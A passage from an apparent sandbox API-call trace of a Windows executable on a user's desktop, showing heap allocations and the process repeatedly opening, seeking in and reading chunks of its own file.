Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a18dd0 [0073.523] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18dd0, Size=0x64) returned 0x2a19508 [0073.523] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac04e8 [0073.523] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac04e8, Size=0xb8) returned 0x2ac1378 [0073.523] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1378, Size=0xe8) returned 0x2ac27a0 [0073.523] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b160, Size=0x14) returned 0x2a71880 [0073.523] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71880, Size=0x24) returned 0x2a201c8 [0073.524] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b160, Size=0x14) returned 0x2a71700 [0073.524] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a718c0 [0073.524] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.524] GetFileType (hFile=0x1e8) returned 0x1 [0073.524] GetFileType (hFile=0x1e8) returned 0x1 [0073.524] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.524] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.524] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.524] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.524] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.524] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.524] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.524] GetLastError () returned 0x0 [0073.524] GetCurrentThreadId () returned 0x9b0 [0073.524] GetLastError () returned 0x0 [0073.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0073.525] GetCurrentThreadId () returned 0x9b0 [0073.525] GetLastError () returned 0x0 [0073.525] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8628698, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x83a9da [0073.525] GetLastError () returned 0x0 [0073.525] GetCurrentThreadId () returned 0x9b0 [0073.525] GetLastError () returned 0x0 [0073.525] GetCurrentThreadId () returned 0x9b0 [0073.525] GetLastError () returned 0x0 [0073.525] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7566429, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x73745d [0073.525] GetLastError () returned 0x0 [0073.525] GetCurrentThreadId () returned 0x9b0 [0073.525] GetLastError () returned 0x0 [0073.525] GetCurrentThreadId () returned 0x9b0 [0073.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x749) returned 0x2c1a1c0 [0073.525] GetLastError () returned 0x0 [0073.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c1a918 [0073.525] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c1a918, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2c1a918*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.526] GetLastError () returned 0x0 [0073.526] GetCurrentThreadId () returned 0x9b0 [0073.526] GetLastError () returned 0x0 [0073.526] GetCurrentThreadId () returned 0x9b0 [0073.526] GetLastError () returned 0x0 [0073.526] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x73845d [0073.526] GetLastError () returned 0x0 [0073.526] GetCurrentThreadId () returned 0x9b0 [0073.526] GetLastError () returned 0x0 [0073.526] GetLastError () returned 0x0 [0073.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1a918 | out: hHeap=0x2ad0000) returned 1 [0073.526] CloseHandle (hObject=0x1e8) returned 1 [0073.527] GetLastError () returned 0x0 [0073.527] GetCurrentThreadId () returned 0x9b0 [0073.527] GetLastError () returned 0x0 [0073.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c1a918 [0073.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb9c68 [0073.527] GetLastError () returned 0x0 [0073.527] GetCurrentThreadId () returned 0x9b0 [0073.527] GetLastError () returned 0x0 [0073.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1a918 | out: hHeap=0x2ad0000) returned 1 [0073.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb9c68, Size=0x177c) returned 0x2bb9c68 [0073.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1a1c0 | out: hHeap=0x2ad0000) returned 1 [0073.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18328, Size=0x20) returned 0x2a1f948 [0073.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x21b) returned 0x2bb9598 [0073.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f948, Size=0x40) returned 0x2a19058 [0073.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19058, Size=0x64) returned 0x2a19658 [0073.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19658, Size=0x8c) returned 0x2ac1030 [0073.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1030, Size=0xb8) returned 0x2ac1a38 [0073.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1a38, Size=0xe8) returned 0x2ac24d0 [0073.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac24d0 | out: hHeap=0x2ad0000) returned 1 [0073.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9c68 | out: hHeap=0x2ad0000) returned 1 [0073.527] GetCurrentThreadId () returned 0x9b0 [0073.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.528] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0db60 [0073.528] GetCurrentThreadId () returned 0x9b0 [0073.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.528] GetCurrentThreadId () returned 0x9b0 [0073.528] GetCurrentThreadId () returned 0x9b0 [0073.528] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.528] GetCurrentThreadId () returned 0x9b0 [0073.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0ec38 [0073.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0073.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18328 [0073.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b160 [0073.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0073.528] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b160, Size=0x14) returned 0x2a71900 [0073.528] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0073.528] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18328 | out: hHeap=0x2ad0000) returned 1 [0073.528] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18358 | out: hHeap=0x2ad0000) returned 1 [0073.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.529] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.529] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] GetCurrentThreadId () returned 0x9b0 [0073.529] GetLastError () returned 0x0 [0073.529] GetLastError () returned 0x0 [0073.529] GetLastError () returned 0x0 [0073.529] GetLastError () returned 0x0 [0073.529] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a200d8 [0073.529] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a182f8 [0073.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a182f8 | out: hHeap=0x2ad0000) returned 1 [0073.529] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b160 [0073.530] GetLastError () returned 0x0 [0073.530] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.530] GetFileType (hFile=0x1e8) returned 0x1 [0073.530] GetLastError () returned 0x0 [0073.530] GetCurrentThreadId () returned 0x9b0 [0073.530] GetLastError () returned 0x0 [0073.530] GetFileType (hFile=0x1e8) returned 0x1 [0073.530] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.530] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.530] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.530] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.530] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.530] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.530] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.530] GetLastError () returned 0x0 [0073.530] GetCurrentThreadId () returned 0x9b0 [0073.530] GetLastError () returned 0x0 [0073.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.530] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0073.530] GetLastError () returned 0x0 [0073.530] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7568273, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x737b91 [0073.530] GetLastError () returned 0x0 [0073.530] GetCurrentThreadId () returned 0x9b0 [0073.530] GetLastError () returned 0x0 [0073.531] GetCurrentThreadId () returned 0x9b0 [0073.531] GetLastError () returned 0x0 [0073.531] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8150968, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x7c5fb8 [0073.531] GetLastError () returned 0x0 [0073.531] GetCurrentThreadId () returned 0x9b0 [0073.531] GetLastError () returned 0x0 [0073.531] GetCurrentThreadId () returned 0x9b0 [0073.531] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1e83) returned 0x2c1a1c0 [0073.531] GetLastError () returned 0x0 [0073.531] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c1a1d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba998, lpOverlapped=0x0 | out: lpBuffer=0x2c1a1d4*, lpNumberOfBytesRead=0x9ba998*=0x1000, lpOverlapped=0x0) returned 1 [0073.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c1c050 [0073.532] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c1c050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2c1c050*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.532] GetLastError () returned 0x0 [0073.532] GetCurrentThreadId () returned 0x9b0 [0073.532] GetLastError () returned 0x0 [0073.532] GetCurrentThreadId () returned 0x9b0 [0073.532] GetLastError () returned 0x0 [0073.532] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x7c7fb8 [0073.532] GetLastError () returned 0x0 [0073.532] GetCurrentThreadId () returned 0x9b0 [0073.532] GetLastError () returned 0x0 [0073.532] GetLastError () returned 0x0 [0073.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1c050 | out: hHeap=0x2ad0000) returned 1 [0073.532] CloseHandle (hObject=0x1e8) returned 1 [0073.532] GetLastError () returned 0x0 [0073.532] GetCurrentThreadId () returned 0x9b0 [0073.532] GetLastError () returned 0x0 [0073.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c1c050 [0073.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb9c68 [0073.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2bbdc88 [0073.533] GetLastError () returned 0x0 [0073.533] GetCurrentThreadId () returned 0x9b0 [0073.533] GetLastError () returned 0x0 [0073.533] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb9c68, Size=0x8015) returned 0x2c1dc28 [0073.534] GetLastError () returned 0x0 [0073.534] GetCurrentThreadId () returned 0x9b0 [0073.534] GetLastError () returned 0x0 [0073.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbdc88 | out: hHeap=0x2ad0000) returned 1 [0073.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1c050 | out: hHeap=0x2ad0000) returned 1 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c1dc28, Size=0x4767) returned 0x2c1dc28 [0073.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1a1c0 | out: hHeap=0x2ad0000) returned 1 [0073.534] GetCurrentThreadId () returned 0x9b0 [0073.534] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18358 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18358, Size=0x20) returned 0x2a1fa10 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a18dd0 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18dd0, Size=0x64) returned 0x2a19578 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19578, Size=0x8c) returned 0x2ac0748 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0748, Size=0xb8) returned 0x2ac1d38 [0073.534] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3d2) returned 0x2abfd50 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1d38, Size=0xe8) returned 0x2ac3010 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3010, Size=0x120) returned 0x2ba5058 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5058, Size=0x160) returned 0x2ba5f38 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5f38, Size=0x1a8) returned 0x2ac92b0 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac92b0, Size=0x1f8) returned 0x2ba7d78 [0073.534] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7d78, Size=0x250) returned 0x2ac3888 [0073.534] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x49e) returned 0x2c1a1c0 [0073.534] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x259) returned 0x2c1a668 [0073.534] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5a0) returned 0x2c1a8d0 [0073.535] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac3888, Size=0x2b4) returned 0x2ba9d30 [0073.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x37b) returned 0x2c1ae78 [0073.535] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba9d30, Size=0x324) returned 0x2bac990 [0073.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bac990 | out: hHeap=0x2ad0000) returned 1 [0073.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1dc28 | out: hHeap=0x2ad0000) returned 1 [0073.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0de70 [0073.535] GetCurrentThreadId () returned 0x9b0 [0073.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.535] GetCurrentThreadId () returned 0x9b0 [0073.535] GetCurrentThreadId () returned 0x9b0 [0073.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.535] GetCurrentThreadId () returned 0x9b0 [0073.535] GetCurrentThreadId () returned 0x9b0 [0073.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.535] GetCurrentThreadId () returned 0x9b0 [0073.535] GetCurrentThreadId () returned 0x9b0 [0073.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.535] GetCurrentThreadId () returned 0x9b0 [0073.535] GetCurrentThreadId () returned 0x9b0 [0073.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.535] GetCurrentThreadId () returned 0x9b0 [0073.535] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c) returned 0x2bafe68 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0ef48 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c10a70 [0073.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0de70 | out: hHeap=0x2ad0000) returned 1 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.536] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] GetCurrentThreadId () returned 0x9b0 [0073.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.537] GetCurrentThreadId () returned 0x9b0 [0073.537] GetCurrentThreadId () returned 0x9b0 [0073.537] GetLastError () returned 0x0 [0073.537] GetLastError () returned 0x0 [0073.537] GetLastError () returned 0x0 [0073.537] GetLastError () returned 0x0 [0073.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1ffb8 [0073.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18370 [0073.537] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18370 | out: hHeap=0x2ad0000) returned 1 [0073.537] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b100 [0073.537] GetLastError () returned 0x0 [0073.537] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.537] GetFileType (hFile=0x1e8) returned 0x1 [0073.537] GetLastError () returned 0x0 [0073.537] GetCurrentThreadId () returned 0x9b0 [0073.537] GetLastError () returned 0x0 [0073.537] GetFileType (hFile=0x1e8) returned 0x1 [0073.537] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.537] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.537] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.537] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.537] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.537] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.538] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.538] GetLastError () returned 0x0 [0073.538] GetCurrentThreadId () returned 0x9b0 [0073.538] GetLastError () returned 0x0 [0073.538] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0073.538] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0073.538] GetLastError () returned 0x0 [0073.538] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8158758, 